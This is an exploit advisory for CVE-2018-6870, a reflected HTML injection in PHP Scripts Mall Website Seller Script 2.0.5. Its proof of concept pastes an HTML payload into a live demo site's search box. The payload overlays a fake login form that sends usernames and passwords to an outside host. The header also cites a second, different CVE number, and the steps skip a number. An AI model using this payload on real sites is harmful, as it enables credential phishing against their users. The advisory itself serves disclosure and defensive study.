CVE-2018-6870-PHP Scripts Mall Website Seller Script 2.0.5 has Reflected HTML injection

*****************************************
# Exploit Title: PHP Scripts Mall Website Seller Script 2.0.5 has Reflected HTML injection.
# Date: 30.12.2018
# Site Title : BUSINESS SALE
# Vendor Homepage: https://www.phpscriptsmall.com/
# Vendor Product : https://www.phpscriptsmall.com/product/website-seller-script/
# Category: Web Application
# Version: 2.0.5
# Exploit Author: Vikas Chaudhary
# Contact: https://gkaim.com/contact-us/
# Web: https://gkaim.com/
# Published on: https://gkaim.com/cve-2018-15896-vikas-chaudhary/
# Tested on: Windows 10 -Firefox
# CVE-2018-6870
*************************************************
## VENDOR SUMMARY :- PHP Scripts Mall Pvt. Ltd. is a professional software selling portal offering wide range of innovative. PHP Scripts Mall is a leading business and technology firm with 12 years of successful track record in completion and implementation of numerous projects in various
verticals and domains.. It has 300 plus PHP scripts ready to buy.

## Vulnerability Description=> HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user’s trust.

***********************************************

Proof of Concept:-
————————–
1. Go to the Vendor’s Product Software. (http://www.officialwebsiteforsale.com/ )
2- In Search form Box paste this html code
<div style=”position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:green; padding: 1em;”><br /><br /><br /><br /><br /> <h1><font color=”red”>Please login with valid credentials:<br /><form name=”login” action=”http://anysite.com/”><br /><br /><br /><br /><br /> <table><br /><br /><br /><br /><br /> <tr><br /><br /><br /><br /><br /> <td>Username:</td><br /><br /><br /><br /><br /> <td><input type=”text” name=”username”/></td><br /><br /><br /><br /><br /> </tr><br /><br /><br /><br /><br /> <tr><br /><br /><br /><br /><br /> <td>Password:</td><br /><br /><br /><br /><br /> <td><input type=”text” name=”password”/></td><br /><br /><br /><br /><br /> </tr><br /><br /><br /><br /><br /> <tr><td colspan=2 align=center><input type=”submit” value=”Login”/></td><br /><br /><br /><br /><br /> </tr><br /><br /><br /><br /><br /> </table><br /><br /><br /><br /><br /> </form><br /><br /><br /><br /><br /> </div><br /><br /><br /><br /><br /> <p>

and click on Ok

4-You will see a Magic
******************************************